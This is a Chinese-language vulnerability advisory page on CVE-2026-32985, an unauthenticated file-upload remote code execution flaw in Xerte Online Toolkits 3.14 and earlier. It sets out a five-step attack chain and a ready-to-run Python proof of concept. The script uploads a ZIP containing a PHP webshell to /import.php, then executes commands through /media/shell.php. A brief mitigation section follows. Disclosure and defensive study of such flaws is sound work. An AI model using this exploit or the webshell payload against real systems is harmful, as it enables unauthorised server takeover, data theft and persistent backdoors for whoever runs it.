IPBUF安全漏洞报告
English
CVE-2026-32985 CVSS 9.8 严重

CVE-2026-32985 Xerte Online Toolkits远程代码执行漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32985
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Xerte Online Toolkits

相关标签

RCE文件上传XerteCVE-2026-32985未认证WebShell

漏洞概述

Xerte Online Toolkits 3.14及更早版本在模板导入功能中存在严重的未认证任意文件上传漏洞。由于未对上传接口进行身份验证,远程攻击者可以上传包含恶意PHP载荷的ZIP压缩包,该文件会被解压到Web可访问目录并被直接执行,从而获取服务器最高权限。

技术细节

该漏洞的核心在于`import.php`文件未实施严格的身份验证检查,允许未授权用户访问。攻击者利用此缺陷,通过发送特制的ZIP压缩包进行模板导入。ZIP包内包含伪装成媒体文件的PHP脚本。服务器在接收并自动解压文件时,未能有效过滤文件扩展名或路径遍历字符,导致PHP文件被释放至Web可访问的`media`目录下。随后,攻击者通过HTTP请求直接访问该恶意文件,触发PHP解释器执行系统命令。由于代码在Web服务器上下文中运行,攻击者可窃取数据、篡改页面或植入持久性后门,完全控制受影响的服务器。

攻击链分析

STEP 1
侦察
攻击者识别互联网上运行Xerte Online Toolkits 3.14或更早版本的目标服务器。
STEP 2
构造载荷
攻击者创建一个特制的ZIP压缩包,其中包含名为shell.php的恶意文件,并将其放置在media目录路径下。
STEP 3
上传漏洞利用
攻击者向目标服务器的/import.php端点发送POST请求,上传恶意ZIP文件。由于缺乏身份验证,此操作无需登录即可完成。
STEP 4
文件解压
服务器端的import.php处理上传请求,自动将ZIP包解压。恶意PHP文件被释放到Web可访问的/media/目录中。
STEP 5
执行代码
攻击者通过浏览器发送HTTP请求访问/media/shell.php,传入系统命令参数,服务器解析PHP并返回命令执行结果。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import zipfile import os def create_malicious_zip(): """Create a ZIP archive containing a PHP webshell""" zip_path = "exploit.zip" php_payload = "<?php system($_GET['cmd']); ?>" with zipfile.ZipFile(zip_path, 'w') as zf: # The file is placed in 'media/' to match the extraction path zf.writestr("media/shell.php", php_payload) return zip_path def exploit(target_url): """Execute the exploit against the target""" zip_file = create_malicious_zip() # The vulnerable endpoint is typically import.php upload_url = f"{target_url}/import.php" try: with open(zip_file, 'rb') as f: files = {'file': ('exploit.zip', f, 'application/zip')} # Send the malicious payload response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print("[+] Upload successful. Checking for shell...") shell_url = f"{target_url}/media/shell.php" test_cmd = f"{shell_url}?cmd=whoami" # Verify command execution verify = requests.get(test_cmd, timeout=5) if verify.status_code == 200: print(f"[+] Exploit successful! Shell accessible at: {shell_url}") print(f"[+] Command output: {verify.text}") else: print("[-] Shell uploaded but not accessible.") else: print(f"[-] Upload failed. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") finally: if os.path.exists(zip_file): os.remove(zip_file) if __name__ == "__main__": target = "http://127.0.0.1/xerte" # Replace with actual target exploit(target)

影响范围

Xerte Online Toolkits <= 3.14

防御指南

临时缓解措施
如果无法立即升级,建议在Web服务器防火墙(如WAF或Nginx/Apache配置)中阻断对/import.php路径的未授权访问请求,或者临时移除该文件。同时,检查服务器media目录下是否存在异常的PHP文件并及时清除。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表